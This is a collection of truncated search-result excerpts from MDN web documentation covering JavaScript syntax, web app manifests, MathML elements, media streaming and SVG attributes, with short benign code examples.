examples new.target in function calls in normal function calls (as opposed to constructor function calls), new.target is undefined. this lets you detect whether a function was called with new as a constructor. function foo() { if (!new.target) { throw 'foo() must be called with new' } console.log('foo instantiated with new') } new foo() // logs "foo instantiated with new" foo() // throws "foo() must be called with new" new.target in constructors in class constructors, new.target refers to the constructor that was directly invoked by new. this is also the case if the constructor is in a parent class and was delegated from a child constructor. class a { constructor() { console.log(new.target.name) } } class b extends a { constructor() { super() } } let a = new a() //...
void operator - JavaScript
ately invoked function expressions when using an immediately-invoked function expression, void can be used to force the function keyword to be treated as an expression instead of a declaration. void function iife() { console.log("executed!"); }(); // output: "executed!" executing the above function without the void keyword will result in an uncaught syntaxerror. javascript uris when a browser follows a javascript: uri, it evaluates the code in the uri and then replaces the contents of the page with the returned value, unless the returned value is undefined. the void operator can be used to return undefined. for example: <a href="javascript:void(0);"> click here to do nothing </a> <a href="javascript:void(document.body.style.backgroundcolor='green');"> click here for green back...
async function - JavaScript
tainworker(v) // note the `return await` vs. just `return` } catch (e) { return null } } writing return processdatainworker(v) would have caused the promise returned by the function to reject, instead of resolving to null if processdatainworker(v) rejects. this highlights the subtle difference between return foo; and return await foo; — return foo immediately returns foo and never throws, even if foo is a promise that rejects. return await foo will wait for foo to resolve or reject if it's a promise, and throws before returning if it rejects. specifications specification ecmascript (ecma-262)the definition of 'async function' in that specification. ...
class - JavaScript
ructors, and must be called before the this keyword can be used. class polygon { constructor(height, width) { this.name = 'polygon'; this.height = height; this.width = width; } } class square extends polygon { constructor(length) { super(length, length); this.name = 'square'; } } attempting to declare a class twice re-declaring a class using the class declaration throws a syntaxerror. class foo {}; class foo {}; // uncaught syntaxerror: identifier 'foo' has already been declared the same error is thrown when a class has been defined before using the class expression. let foo = class {}; class foo {}; // uncaught syntaxerror: identifier 'foo' has already been declared specifications specification ecmascript (ecma-262)the definition of...
for await...of - JavaScript
omise.resolve(3); yield 4; } (async function() { for await (let num of generator()) { console.log(num); } })(); // 0 // 1 // 2 // 3 // 4 // compare with for-of loop: for (let numorpromise of generator()) { console.log(numorpromise); } // 0 // 1 // promise { 2 } // promise { 3 } // 4 note: be aware of yielding rejected promises from sync generator. in such case for await...of throws when consuming rejected promise and doesn't call finally blocks within that generator. this can be undesireable if you need to free some allocated resources with try/finally. function* generatorwithrejectedpromises() { try { yield 0; yield 1; yield promise.resolve(2); yield promise.reject(3); yield 4; throw 5; } finally { console.log('called finally') } } (asy...
for...in - JavaScript
rits from its prototype chain (properties of nearer prototypes take precedence over those of prototypes further away from the object in its prototype chain). deleted, added, or modified properties a for...in loop iterates over the properties of an object in an arbitrary order (see the delete operator for more on why one cannot depend on the seeming orderliness of iteration, at least in a cross-browser setting). if a property is modified in one iteration and then visited at a later time, its value in the loop is its value at that later time. a property that is deleted before it has been visited will not be visited later. properties added to the object over which iteration is occurring may either be visited or omitted from iteration. in general, it is best not to add, modify, or remove prope...
function* - JavaScript
()); // { value: undefined, done: true } generator as a computed property class foo { *[symbol.iterator] () { yield 1; yield 2; } } const someobj = { *[symbol.iterator] () { yield 'a'; yield 'b'; } } console.log(array.from(new foo)); // [ 1, 2 ] console.log(array.from(someobj)); // [ 'a', 'b' ] generators are not constructable function* f() {} var obj = new f; // throws "typeerror: f is not a constructor generator defined in an expression const foo = function* () { yield 10; yield 20; }; const bar = foo(); console.log(bar.next()); // {value: 10, done: false} generator example function* powers(n){ //endless loop to generate for(let current =n;; current *= n){ yield current; } } for(let power of powers(2)){ //controlling gen...
switch - JavaScript
take a look at this example: const action = 'say_hello'; switch (action) { case 'say_hello': let message = 'hello'; console.log(message); break; case 'say_hi': let message = 'hi'; console.log(message); break; default: console.log('empty action receive...
Statements and declarations - JavaScript
next iteration. empty an empty statement is used to provide no statement, although the javascript syntax would expect one. if...else executes a statement if a specified condition is true. if the condition is false, another statement can be executed. switch evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case. throw throws a user-defined exception. try...catch marks a block of statements to try, and specifies a response, should an exception be thrown. declarations var declares a variable, optionally initializing it to a value. let declares a block scope local variable, optionally initializing it to a value. const declares a read-only named constant. functions and classes function declares a functi...
Template literals (Template strings) - JavaScript
the ecmascript proposal template literal revision (stage 4, to be integrated in the ecmascript 2018 standard) remo...
JavaScript shells - JavaScript
cript programmers. shelljs - portable unix shell commands for node.js list of javascript shells the following javascript shells work with mozilla. firefox has a built-in javascript console, which support multi-line editing. javascript shell (js) - a command line interpreter for javascript xpcshell is an xpconnect - enabled shell, sometimes useful for mozilla development. babel repl - a browser-based repl for experimenting with future javascript. es6console.com - an open-source javascript console to test ecmascript 2015 code inside the browser. jsconsole.com -- an open-source javascript console with the ability to easily link to particular expressions javascript shell (web page) - also available as part of the extension developer's extension jash: javascript shell - a dhtml based ...
dir - Web app manifests
Web › Manifest › dir
ers of the manifest. together with the lang member, it helps to correctly display right-to-left languages. the dir member can be set to one of the following values: auto — text direction is determined by the user agent ltr — left to right rtl — right to left the directionality-capable members are: name short_name description note: if the value is omitted or set to auto, the browser will use the unicode bidirectional algorithm to make a best guess about the text's direction. example "dir": "rtl", "lang": "ar", "short_name": "!أنا من التطبيق" specification specification status comment feedback web app manifestthe definition of 'dir' in that specification. working draft initial definition. ...
orientation - Web app manifests
note: orientation and/or its specific values might not be supported by a user agent on various display modes because supporting them does not make sense for the particular context. note: the orientation can be changed at runtime via the screen orientation api. ...
scope - Web app manifests
if the scope is a relative url, the base url will be the url of the manifest. ...
Web app manifests
eaun.hackerweb" }] } deploying a manifest web app manifests are deployed in your html pages using a <link> element in the <head> of a document: <link rel="manifest" href="/manifest.webmanifest"> note: the .webmanifest extension is specified in the media type registration section of the specification (the response of the manifest file should return content-type: application/manifest+json). browsers generally support manifests with other appropriate extensions like .json (content-type: application/json). note: if the manifest requires credentials to fetch - the crossorigin attribute must be set to use-credentials, even if the manifest file is in the same origin as the current page. splash screens in chrome 47 and later, a splash screen is displayed for sites launched from a homescre...
<maction> - MathML
fied by the actiontype attribute, which accepts several values. to specify which child elements are addressed by the action, you can make use of the selection attribute. attributes actiontype the action which specifies what happens for this element. possible values are: statusline: if there is a click on the expression or the reader moves the pointer over it, the message is sent to the browser's status line. the syntax is: <maction actiontype="statusline"> expression message </maction>. toggle: when there is a click on the subexpression, the rendering alternates the display of selected subexpressions. therefore each click increments the selection value. the syntax is: <maction actiontype="toggle" selection="positive-integer" > expression1 expression2 expressionn </maction>. too...
<menclose> - MathML
d color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. notation a list of notations, separated by white space, to apply to the child elements. the symbols are each drawn as if the others are not present, and therefore may overlap. possible values are: value sample rendering rendering in your browser description longdiv (default) a2 + b2 long division symbol actuarial a2 + b2 actuarial symbol radical a2 + b2 square root symbol. deprecated. use <msqrt> instead. box a2 + b2 box roundedbox a2 + b2 rounded box circle a2 + b...
<mfrac> - MathML
Web › MathML › Element › mfrac
use #rgb, #rrggbb and html color names. mathcolor the text color and also the fraction line color. you can use #rgb, #rrggbb and html color names. numalign the alignment of the numerator over the fraction. possible values are: left, center (default), and right. this attribute is deprecated and will be removed in the future. use css text-align instead. examples sample rendering: your browser rendering: a b c d <math> <mfrac bevelled="true"> <mfrac> <mi> a </mi> <mi> b </mi> </mfrac> <mfrac> <mi> c </mi> <mi> d </mi> </mfrac> </mfrac> </math> specifications specification status comment mathml 3.0the definition of 'mfrac' in that specification. recommendation current specifi...
<mover> - MathML
Web › MathML › Element › mover
ute is deprecated and will be removed in the future. use css text-align instead. class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. examples sample rendering: rendering in your browser: x + y + z ⏞ <math> <mover accent="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> &#x23de; <!--top curly bracket--> </mo> </mover> </math> specifications specification status comment mathml 3.0the definition of 'mover' in that specification. recommendation current s...
<mphantom> - MathML
the mathml <mphantom> element is rendered invisibly, but dimensions (such as height, width, and baseline position) are still kept. attributes class, id, style provided for use with stylesheets. mathbackground the background color. you can use #rgb, #rrggbb and html color names. examples sample rendering: rendering in your browser: x + y + z <math> <mrow> <mi> x </mi> <mo> + </mo> <mphantom> <mi> y </mi> <mo> + </mo> </mphantom> <mi> z </mi> </mrow> </math> specifications specification status comment mathml 3.0the definition of 'mphantom' in that specification. recommendation current specification mathml 2.0the definition of 'mphantom' in that specification. recommendation initial specification...
<mroot> - MathML
Web › MathML › Element › mroot
base index </mroot>. attributes class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified url. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color and also the color of the root symbol itself. you can use #rgb, #rrggbb and html color names. examples sample rendering: rendering in your browser: x 3 <math> <mroot> <mi>x</mi> <mn>3</mn> </mroot> </math> specifications specification status comment mathml 3.0the definition of 'mroot' in that specification. recommendation current specification mathml 2.0the definition of 'mroot' in that specification. recommendation initial specification ...
<msqrt> - MathML
Web › MathML › Element › msqrt
msqrt> base </msqrt>. attributes class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color and also the color of the root symbol itself. you can use #rgb, #rrggbb and html color names. examples sample rendering: rendering in your browser: x <math> <msqrt> <mi>x</mi> </msqrt> </math> specifications specification status comment mathml 3.0the definition of 'msqrt' in that specification. recommendation current specification mathml 2.0the definition of 'msqrt' in that specification. recommendation initial specification ...
<msub> - MathML
Web › MathML › Element › msub
background the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. subscriptshift the minimum space by which to shift the subscript below the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. examples sample rendering: rendering in your browser: x 1 <math> <msub> <mi>x</mi> <mn>1</mn> </msub> </math> specifications specification status comment mathml 3.0the definition of 'msub' in that specification. recommendation current specification mathml 2.0the definition of 'msub' in that specification. recommendation initial specification ...
<msubsup> - MathML
by which to shift the subscript below the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. superscriptshift the minimum space by which to shift the superscript above the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. examples sample rendering: rendering in your browser: ∫ 0 1 <math displaystyle="true"> <msubsup> <mo> &#x222b;<!--integral --> </mo> <mn> 0 </mn> <mn> 1 </mn> </msubsup> </math> specifications specification status comment mathml 3.0the definition of 'msubsup' in that specification. recommendation current specification mathml 2.0the definition of 'msubsup' in that specifi...
<msup> - MathML
Web › MathML › Element › msup
ound the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. superscriptshift the minimum space by which to shift the superscript up from the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. examples sample rendering: rendering in your browser: x 2 <math> <msup> <mi>x</mi> <mn>2</mn> </msup> </math> specifications specification status comment mathml 3.0the definition of 'msup' in that specification. recommendation current specification mathml 2.0the definition of 'msup' in that specification. recommendation initial specification ...
<mtd> - MathML
Web › MathML › Element › mtd
nimplemented href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. rowalign specifies the vertical alignment of this cell and overrides values specified by <mtable> or <mtr>. possible values are: axis, baseline, bottom, center and top. rowspan a non-negative integer value that indicates on how many rows does the cell extend. specifications specification status comment mathml 3.0the definition of 'mtd' in that specification. recommendation current specification mathml 2.0the definition of 'mtd' in that specification. recommendation initial specification ...
<munder> - MathML
Web › MathML › Element › munder
ute is deprecated and will be removed in the future. use css text-align instead. class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. examples sample rendering: rendering in your browser: x + y + z ⏟ <math> <munder accentunder="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> &#x23df; <!--bottom curly bracket--> </mo> </munder> </math> specifications specification status comment mathml 3.0the definition of 'munder' in that specification. recommendation ...
<munderover> - MathML
ute is deprecated and will be removed in the future. use css text-align instead. class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. examples sample rendering: rendering in your browser: ∫ 0 ∞ <math displaystyle="true"> <munderover > <mo> &#x222b; <!--integral--> </mo> <mn> 0 </mn> <mi> &#x221e; <!--infinity--> </mi> </munderover> </math> specifications specification status comment mathml 3.0the definition of 'munderover' in that specification. recommendation current specification mathml 2.0the defi...
MathML element reference - MathML
nsor indices) n <mn> (number) o <mo> (operator) <mover> (overscript) p <mpadded> (space around content) <mphantom> (invisible content with reserved space) r <mroot> (radical with specified index) <mrow> (grouped sub-expressions) s <ms> (string literal) <mscarries> (annotations such as carries) <mscarry> (single carry, child element of <mscarries>) <msgroup> (grouped rows of <mstack> and <mlongdiv> elements) <msline> (horizontal lines inside <mstack> elements) <mspace> (space) <msqrt> (square root without an index) <msrow> (rows in <mstack> elements) <mstack> (stacked alignment) <mstyle> (style change) <msub> (subscript) <msup> (superscript) <msubsup> (subscript-superscript pair) t <mtable> (table or matrix) <mtd> (cell in a table or a matrix) <mte...
MathML documentation index - MathML
Web › MathML › Index
with <merror>. 14 <mfenced> deprecated, mathml, mathml reference, mathml:element, mathml:general layout schemata the deprecated mathml <mfenced> element used to provide the possibility to add custom opening and closing parentheses (such as brackets) and separators (such as commas or semicolons) to an expression. it has been removed from the latest mathml standard and modern browsers no longer support it. 15 <mfrac> mathml, mathml reference, mathml:element, mathml:general layout schemata the mathml <mfrac> element is used to display fractions. 16 <mglyph> mathml, mathml reference, mathml:element the mathml <mglyph> element is used to display non-standard symbols where existing unicode characters are not available. it may be used wi...
The "codecs" parameter in common media types - Web media technologies
bsampling, bt.2020 primaries, st 2084 eotf (hdr smpte), bt.2020 non-constant luminance color matrix, and full-range chroma and luma encoding. the audio is in opus format. using the codecs parameter you can use the codecs parameter in a few situations. firstly, you can use it with the <source> element when creating an <audio> or <video> element, in order to establish a group of options for the browser to choose from when selecting the format of the media to present to the user in the element. you can also use the codecs parameter when specifying a mime media type to the mediasource.istypesupported() method; this method returns a boolean which indicates whether or not the media is likely to work on the current device. ...
Guide to streaming audio and video - Web media technologies
, there are sometimes special protocols which can be used to optimize performance. https live streaming https live streaming (hls) is a protocol developed by apple and supported by safari on all of their platforms. hls may also be supported in other environments, although in some cases this support is conditional. for example, because many web sites' mobile-specific content assume that mobile browsers support hls, firefox for android does as well, in order to avoid strange compatibility errors from occurring due to this assumption being incorrect. the desktop version of android, however, does not support hls. hls uses playlists to allow the user to not only select the media to stream, but also to choose among versions or forms of the same media. for example, hls lets the server stream a vi...
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
ll together when you want to provide engaging functionality in your app. push is used to deliver new content from the server to the app without any client-side intervention, and its operation is handled by the app's service worker. notifications can be used by the service worker to show new information to the user, or at least alert them when something has been updated. they work outside of the browser window, just like service workers, so updates can be pushed and notifications can be shown when the app's page is out of focus or even closed. notifications let's start with notifications — they can work without push, but are very useful when combined with them. let’s look at them in isolation to begin with. request permission to show a notification, we have to request permission to do ...
Web technology reference
o define and describe semantically the content (markup) of a web page in a well-structured format. html provides a means to create structured documents made up of blocks called html elements that are delineated by tags, written using angle brackets. some introduce content into the page directly, others provide information about document text and may include other tags as sub-elements. obviously, browsers do not display them, since they are used to interpret the content of the page. introduction to html | learn html | html5 | developer guide | element reference | reference css — styling the web cascading style sheets are used to describe the appearance of web content. introduction to css | getting started with css | learn css | common css questions | reference javascript — dynamic ...
SVG Conditional Processing Attributes - SVG: Scalable Vector Graphics
the svg conditional processing attributes are all the attributes that can be specified on some svg elements to control whether or not the element on which it appears should be rendered. externalresourcesrequired requiredextensions requiredfeatures systemlanguage attributes externalresourcesrequired deprecated since svg 2 if set to true, it indicates that the browser must wait for all the external resources necessary to render that element to be loaded before processing the associated element. value: false|true; animatable: no requiredextensions list all the browser specific capabilities that must be supported by the borwser to be allowed to render the associated element. value: a list of space-separated uri; animatable: no requiredfeatures deprecated since svg 2 lis...
SVG Event Attributes - SVG: Scalable Vector Graphics
Web › SVG › Attribute › Events
the global event attributes are available on all svg elements. ...
alignment-baseline - SVG: Scalable Vector Graphics
definition of 'alignment-baseline' in that specification. candidate recommendation refers to the definition in css inline layout and notes the changes to auto, before-edge, after-edge, text-before-edge, and text-after-edge scalable vector graphics (svg) 1.1 (second edition)the definition of 'alignment-baseline' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetalignment-baselinechrome...
baseline-shift - SVG: Scalable Vector Graphics
scalable vector graphics (svg) 2the definition of 'alignment-baseline' in that specification. candidate recommendation refers to the definition in css inline layout and notes that vertical-align should be preferred. scalable vector graphics (svg) 1.1 (second edition)the definition of 'alignment-baseline' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbaseline-shiftchrome ...
class - SVG: Scalable Vector Graphics
Web › SVG › Attribute › class
g attribute reference home assigns a class name or set of class names to an element. you may assign the same class name or names to any number of elements, however, multiple class names must be separated by whitespace characters. an element's class name serves two key roles: as a style sheet selector, for when an author assigns style information to a set of elements. for general use by the browser. you can use this class to style svg content using css. usage context categories none value <list-of-class-names> animatable yes normative document svg 1.1 (2nd edition): the class attribute list-of-ts <list-of-ts> (where t is some type.) a list consists of a separated sequence of values. unless explicitly described differently, l...
clip-path - SVG: Scalable Vector Graphics
<geometry-box> an extra information to tell how a <basic-shape> is applied to an element: fill-box indicates to use the object bounding box; stroke-box indicates to use the object bounding box extended with the stroke; view-box indicates to use the nearest svg viewport as the reference box. note: for more details on the clip-path syntax, see the css property clip-path reference page. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclip-pathchrome ...
clip-rule - SVG: Scalable Vector Graphics
ar)" width="50" height="90" fill="blue" /> <!-- right: nonzero --> <clippath id="filledstar"> <use xlink:href="#star" clip-rule="nonzero" /> </clippath> <rect clip-path="url(#filledstar)" width="50" height="90" x="50" fill="red" /> </svg> elements the following elements can use the clip-rule attribute, but only if they are inside a <clippath> element. graphical elements » browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclip-rulechrome ...
color-interpolation-filters - SVG: Scalable Vector Graphics
ication. specifications specification status comment filter effects module level 1the definition of 'color-interpolation' in that specification. working draft no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-interpolation-filters' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-interpolation-filt...
color-interpolation - SVG: Scalable Vector Graphics
tion. specifications specification status comment scalable vector graphics (svg) 2the definition of 'color-interpolation' in that specification. candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-interpolation' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-interpolationchrom...
color - SVG: Scalable Vector Graphics
Web › SVG › Attribute › color
specifications specification status comment scalable vector graphics (svg) 2the definition of 'color' in that specification. candidate recommendation removed the restriction to which elements it applies. scalable vector graphics (svg) 1.1 (second edition)the definition of 'color' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolorchrome ...
display - SVG: Scalable Vector Graphics
Web › SVG › Attribute › display
when applied to a container element, setting display to none causes the container and all of its children to be invisible; thus, it acts on groups of elements as a group. ...
fill - SVG: Scalable Vector Graphics
Web › SVG › Attribute › fill
shapes and texts. adds context-fill and context-stroke. scalable vector graphics (svg) 1.1 (second edition)the definition of 'fill' in that specification. recommendation initial definition for animations scalable vector graphics (svg) 1.1 (second edition)the definition of 'fill' in that specification. recommendation initial definition for shapes and texts browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfillchrome ...
filter - SVG: Scalable Vector Graphics
Web › SVG › Attribute › filter
r property. specifications specification status comment filter effects module level 1the definition of 'filter' in that specification. working draft extended the values by several special filter functions. scalable vector graphics (svg) 1.1 (second edition)the definition of 'filter' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilterchrome ...
font-family - SVG: Scalable Vector Graphics
ng draft adds new generic font families, specifically: system-ui, emoji, math, and fangsong. css fonts module level 3the definition of 'font-family' in that specification. candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-family' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-familychrome ...
font-size-adjust - SVG: Scalable Vector Graphics
on the font-size property. <number> choose the size of the font so that its lowercase letters (as determined by the x-height of the font) are the specified number times the font-size. the number specified should generally be the aspect ratio (ratio of x-height to font size) of the first choice font-family. this means that the first-choice font, when available, will appear the same size in browsers, whether or not they support font-size-adjust. 0 yields text of zero height (hidden text). specifications specification status comment css fonts module level 3the definition of 'font-size-adjust' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-size-adjust' in t...
font-style - SVG: Scalable Vector Graphics
css fonts module level 4the definition of 'font-style' in that specification. working draft no change css fonts module level 3the definition of 'font-style' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-style' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-stylechrome ...
font-weight - SVG: Scalable Vector Graphics
t' in that specification. working draft defines font-weight to accept any numbers between 1 and 1000. css fonts module level 3the definition of 'font-weight' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-weight' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-weightchrome ...
image-rendering - SVG: Scalable Vector Graphics
quality tradeoffs as it performs image processing. the resampling is always done in a truecolor (e.g., 24-bit) color space even if the original data and/or the target device is indexed color. note: as a presentation attribute, image-rendering can be used as a css property. see the css image-rendering property for more information. ...
kernelUnitLength - SVG: Scalable Vector Graphics
the kernelunitlength attribute has two meanings based on the context it's used in. for lighting filter primitives, it indicates the intended distance for the x and y coordinates, for <feconvolvematrix>, it indicates the intended distance between successive columns and rows in the kernel matrix. three elements are using this attribute: <feconvolvematrix>, <fediffuselighting>, and <fespecularlighting> feconvolvematrix for the <feconvolvematrix>, kernelunitlength indicates the intended distance in current filter units (i.e., units as determined by the value of primitiveunits attribute) between successive columns and rows, respectively, in the kernelmatrix. by specifying value(s) for kernelunitlength, the kernel becomes defined in a scalable, abstract coordinate system. if the attribute is n...
order - SVG: Scalable Vector Graphics
Web › SVG › Attribute › order
ble yes <number-optional-number> this value indicates the number of cells in each dimension for the kernel matrix. the values provided must be <integer>s greater than zero. values that are not integers will be truncated, i.e. rounded to the closest integer value towards zero. the first number, indicates the number of columns in the matrix. the second number, indicates the number of rows in the matrix. if no second number is not provided, it defaults to the first number. it is recommended that only small values (e.g., 3) be used; higher values may result in very high cpu overhead and usually do not produce results that justify the impact on performance. specifications specification status comment filter effects module level 1the definition of...
pathLength - SVG: Scalable Vector Graphics
this can affect the actual rendered lengths of paths; including text paths, animation paths, and various stroke operations. basically, all computations that require the length of the path. stroke-dasharray, for example, will assume the start of the path being 0 and the end point the value defined in the pathlength attribute. ...
pointer-events - SVG: Scalable Vector Graphics
line>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use> usage notes value bounding-box | visiblepainted | visiblefill | visiblestroke | visible | painted | fill | stroke | all | none default value visiblepainted animatable yes for a detailed explanation of each possible value, have a look at the css pointer-events documentation. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpointer-eventschrome ...
rx - SVG: Scalable Vector Graphics
Web › SVG › Attribute › rx
ty meaning this attribute can also be used as a css property for ellipses. rect for <rect>, rx defines the x-axis radius of the ellipse used to round off the corners of the rectangle. the way the value of the rx attribute is interpreted depend on both the ry attribute and the width of the rectangle: if a properly specified value is provided for rx but not for ry (or the opposite), then the browser will consider the missing value equal to the defined one. if neither rx nor ry has a properly specified value, then the browser will draw a rectangle with square corners. if rx is greater than half of the width of the rectangle, then the browser will consider the value for rx as half of the width of the rectangle. value <length> | <percentage> | auto default value au...
ry - SVG: Scalable Vector Graphics
Web › SVG › Attribute › ry
ty meaning this attribute can also be used as a css property for ellipses. rect for <rect>, ry defines the y-axis radius of the ellipse used to round off the corners of the rectangle. the way the value of the ry attribute is interpreted depend on both the rx attribute and the width of the rectangle: if a properly specified value is provided for ry but not for rx (or the opposite), then the browser will consider the missing value equal to the defined one. if neither ry nor rx has a properly specified value, then the browser will draw a rectangle with square corners. if ry is greater than half of the width of the rectangle, then the browser will consider the value for ry as half of the width of the rectangle. value <length> | <percentage> | auto default value au...
shape-rendering - SVG: Scalable Vector Graphics
er speed and crisp edges. specifications specification status comment scalable vector graphics (svg) 2the definition of 'shape-rendering' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'shape-rendering' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshape-renderingchrome ...
spreadMethod - SVG: Scalable Vector Graphics
scalable vector graphics (svg) 1.1 (second edition)the definition of 'spreadmethod for <radialgradient>' in that specification. recommendation initial definition for <radialgradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'spreadmethod for <lineargradient>' in that specification. recommendation initial definition for <lineargradient> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. no compatibility data found. please contribute data for "svg.attributes.presentation.spreadmethod" (depth: 1) to the mdn compatibility data repository. ...
stroke-dasharray - SVG: Scalable Vector Graphics
value none | <dasharray> default value none animatable yes <dasharray> a list of comma and/or white space separated <length>s and <percentage>s that specify the lengths of alternating dashes and gaps. if an odd number of values is provided, then the list of values is repeated to yield an even number of values. thus, 5,3,2 is equivalent to 5,3,2,5,3,2. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-dasharraychrome ...
stroke-dashoffset - SVG: Scalable Vector Graphics
ash array for each line --> <path d="m0,5 h-3 m0,7 h3 m0,9 h-1" stroke="rgba(255,0,0,.5)" /> </svg> usage notes value <percentage> | <length> default value 0 animatable yes the offset is usually expressed in user units resolved against the pathlength but if a <percentage> is used, the value is resolved as a percentage of the current viewport. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-dashoffsetchrome ...
stroke-miterlimit - SVG: Scalable Vector Graphics
